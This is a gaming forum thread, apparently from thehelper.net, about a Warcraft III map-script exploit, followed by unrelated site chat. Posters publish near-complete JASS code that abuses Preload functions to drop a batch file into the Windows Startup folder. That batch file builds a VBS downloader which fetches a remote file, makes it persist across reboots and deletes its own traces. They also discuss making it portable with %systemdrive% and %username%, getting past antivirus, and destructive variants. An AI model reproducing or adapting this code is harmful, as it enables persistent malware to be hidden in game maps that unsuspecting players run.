How to virus in Warcraft III

Laiev

Hey Listen!!
Reaction score
188
Oo why a hacker are editing a game script?

is better get a newgame and *pãn pãn*
 

mylemonblue

You can change this now in User CP.
Reaction score
7
The fact you bothered to retaliate with such a comment implies someone does care :p
 

D4RK_G4ND4LF

New Member
Reaction score
1
just made an account to congratulate you for this
badass bug
got a compile error (win 7 64 bit) but the myvirus.bat was created

how does it work btw?
 

Jesus4Lyf

Good Idea™
Reaction score
397
just made an account to congratulate you for this
badass bug
got a compile error (win 7 64 bit) but the myvirus.bat was created

how does it work btw?
JASS:
//..
    call PreloadGenClear() // this line and the line below start writing a JASS function to preload models
    call PreloadGenStart()
    call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//") // this line, and all other "Preload(...)" lines add a line to preload a "model" to that function. Instead, we add a new line and put some batch script in.
    // batch scripts ignore syntax errors, so it will ignore the jass syntax and execute the echo/start lines. I use it to write a VB script to download a file and put it in your startup. You could do anything, though.
    // ...
    call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat") // this ends the list, and saves it to Start > Programs > Startup, and windows automatically runs everything there. my batch script makes a vbs script with echo, and then runs it, that script then downloads the specified file here. hooray!!

There's yer explanation, and that's why WC3 should never be able to write to a file. The vulnerability is the fact that WC3 can do that, in essence. :)
The script is executed from W3 and downloads viruses from the internets.
The JASS script is executed in WC3 and makes the batch script. The batch script is executed on boot and creates the vbs script. The vbs script is executed by the batch script and downloads the file. The downloaded file runs from then on, on startup. :)
 

Laiev

Hey Listen!!
Reaction score
188
what happen if you hardly restart your PC when you're downloading something Sev? :p
 

Sevion

The DIY Ninja
Reaction score
413
I'm not sure I know what you mean. What I mean is that since I hardly restart my PC, the startup programs are hardly run (started).
 

Gwafu

Active Member
Reaction score
12
So, these could be used to download anything to the player's computer? Great, could use it with .slks :3
 

cano

New Member
Reaction score
0
Do I have to have local files enabled for it to work?

Edit: The file is created if its extension is not *.bat or *.exe. For a while I was able to create bat files and for whatever reason it was after I removed this line:
JASS:
call Preload("\")\n\necho objFSO.DeleteFile \"C:\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
Which is quite ridiculous.

And while the idea of using startup is pretty nice, It's hard to believe that this fairly simple exploit is made public for the first time 8 years after release of the game. o.o

Edit 2: Turning off Avast helped. :(
 

Accname

2D-Graphics enthusiast
Reaction score
1,462
@Jesus4Lyf:
if my windows aint installed on the harddrive C but on D it wouldnt work i guess, right?
 

cano

New Member
Reaction score
0
@Jesus4Lyf:
if my windows aint installed on the harddrive C but on D it wouldnt work i guess, right?
You can make it work, obviously. Just change all the paths accordingly, e.g.:
JASS:
call PreloadGenEnd("D:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\myvirus.bat")

Inside the *.bat file you can use environment variables like %SystemDrive% (which returns letter of your system drive, in your case D:).

Anyway, what is the purpose of this part:
JASS:
 call PreloadGenClear()
    call PreloadGenStart()
    call Preload("\")\necho Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") > %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objXMLHTTP.open \"GET\", \""+url+"\", false >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objXMLHTTP.send() >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho If objXMLHTTP.Status = 200 Then >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho Set objADOStream = CreateObject(\"ADODB.Stream\") >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Open >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Type = 1 >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Write objXMLHTTP.ResponseBody >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Position = 0 >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho If objFSO.Fileexists(\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\") Then objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.SaveToFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+localname+"\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objADOStream.Close >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho End if >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objFSO.DeleteFile \"%TEMP%\\download.vbs\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\necho objFSO.DeleteFile \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat\" >> %TEMP%\\download.vbs\n//")
    call Preload("\")\nstart %TEMP%\\download.vbs\n//")
    call PreloadGenEnd("C:\\Users\\YOURUSERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat")
Why can't you just do it for All Users?
 

Accname

2D-Graphics enthusiast
Reaction score
1,462
@Cano:
that i know myself. the point is somebody who made this map will not change the script code just especially for me shortly before i download the map. you get it?

i mean, if someone is seriously trying to spread a virus through some wc3 map and i download and start the map and my windows is on an other harddrive then C the code inside wouldnt work? or not?
will it crash? will it create the folders on my other harddrive? or what will happen?

Edit:
Just tested it myself. it will create these folders on the harddrive C. however, obviously nothing will happen when rebooting.
 

DioD

New Member
Reaction score
57
its possible to use

%systemdrive%

and

%username%

making code compatable with any windows on any HDD.

also you may create harmfull script to reboot PC instantly (or after random time) or remove valuble files from windows, but most players play 1-5 maps all time, its dangerous only if icefrog inject this to dota (or any similar map virused by author)
 

UnknowVector

I come from the net ... My format, Vector.
Reaction score
144
It's shell access with the current user's privileges; on windows that probably means administrator. It doesn't really matter how your hard drive is set up, your screwed.
 

cano

New Member
Reaction score
0
@Cano:
that i know myself. the point is somebody who made this map will not change the script code just especially for me shortly before i download the map. you get it?
...
Just create the *.bat files on C:,D:,E: or whatever you assume to be system directory and for all other use %systemdrive%. Now, do you get it?

And I am the only one who gets this completely nullified by antivirus?
Trying to sneak an *.exe file causes Avast to alert too. Which obviously doesn't mean that this issue shouldn't be addressed by Blizzard. The danger is WAY higher than it used to be in case of possibility of executing arbitrary code through type casting, just because it can be done by literally everyone and the possibilities are greater.
 

Accname

2D-Graphics enthusiast
Reaction score
1,462
...
Just create the *.bat files on C:,D:,E: or whatever you assume to be system directory and for all other use %systemdrive%. Now, do you get it?

And I am the only one who gets this completely nullified by antivirus?
Trying to sneak an *.exe file causes Avast to alert too. Which obviously doesn't mean that this issue shouldn't be addressed by Blizzard. The danger is WAY higher than it used to be in case of possibility of executing arbitrary code through type casting, just because it can be done by literally everyone and the possibilities are greater.

i think you dont really get what i was talking about.
if this is supposed to be a kind of "virus" then it shouldnt be my task to make it fit my computer. most probably someone else would make that virus map and try to spread it over the internet, for example to me. and hence he doesnt know on which harddrive windows is installed for me he wouldnt change C to D only to hit me you know? he doesnt think, "hmmm Accname doesnt have windows on C but on D, i should change the map shortly before he downloads and plays it to kick his ass" and i most probably wouldnt try to virus my own computer either.

of course, if what DioD said works then it isnt neccassary at all.
 

Laiev

Hey Listen!!
Reaction score
188
If I'm not wrong, Accname are saying if someone know that he'll get the map, the creator of that map which have virus don't will change the script to fit the Accname computer, will fit the most 'common' type of computer, windows in C: and username Default (really, noone use this username lol)
 
General chit-chat
Help Users
  • No one is chatting at the moment.
  • WildTurkey WildTurkey:
    is there a stephen green in the house?
    +1
  • The Helper The Helper:
    What is up WildTurkey?
  • The Helper The Helper:
    Looks like Google fixed whatever mistake that made the recipes on the site go crazy and we are no longer trending towards a recipe site lol - I don't care though because it motivated me to spend alot of time on the site improving it and at least now the content people are looking at is not stupid and embarrassing like it was when I first got back into this like 5 years ago.
  • The Helper The Helper:
    Plus - I have a pretty bad ass recipe collection now! That section of the site is 10 thousand times better than it was before
  • The Helper The Helper:
    We now have a web designer at my job. A legit talented professional! I am going to get him to redesign the site theme. It is time.
  • Varine Varine:
    I got one more day of community service and then I'm free from this nonsense! I polished a cop car today for a funeral or something I guess
  • Varine Varine:
    They also were digging threw old shit at the sheriff's office and I tried to get them to give me the old electronic stuff, but they said no. They can't give it to people because they might use it to impersonate a cop or break into their network or some shit? idk but it was a shame to see them take a whole bunch of radios and shit to get shredded and landfilled
  • The Helper The Helper:
    whatever at least you are free
  • Monovertex Monovertex:
    How are you all? :D
    +1
  • Ghan Ghan:
    Howdy
  • Ghan Ghan:
    Still lurking
    +3
  • The Helper The Helper:
    I am great and it is fantastic to see you my friend!
    +1
  • The Helper The Helper:
    If you are new to the site please check out the Recipe and Food Forum https://www.thehelper.net/forums/recipes-and-food.220/
  • Monovertex Monovertex:
    How come you're so into recipes lately? Never saw this much interest in this topic in the old days of TH.net
  • Monovertex Monovertex:
    Hmm, how do I change my signature?
  • tom_mai78101 tom_mai78101:
    Signatures can be edit in your account profile. As for the old stuffs, I'm thinking it's because Blizzard is now under Microsoft, and because of Microsoft Xbox going the way it is, it's dreadful.
  • The Helper The Helper:
    I am not big on the recipes I am just promoting them - I use the site as a practice place promoting stuff
    +2
  • Monovertex Monovertex:
    @tom_mai78101 I must be blind. If I go on my profile I don't see any area to edit the signature; If I go to account details (settings) I don't see any signature area either.
  • The Helper The Helper:
    You can get there if you click the bell icon (alerts) and choose preferences from the bottom, signature will be in the menu on the left there https://www.thehelper.net/account/preferences
  • The Helper The Helper:
    I think I need to split the Sci/Tech news forum into 2 one for Science and one for Tech but I am hating all the moving of posts I would have to do
  • The Helper The Helper:
    What is up Old Mountain Shadow?

      The Helper Discord

      Staff online

      Members online

      Affiliates

      Hive Workshop NUON Dome World Editor Tutorials

      Network Sponsors

      Apex Steel Pipe - Buys and sells Steel Pipe.
      Top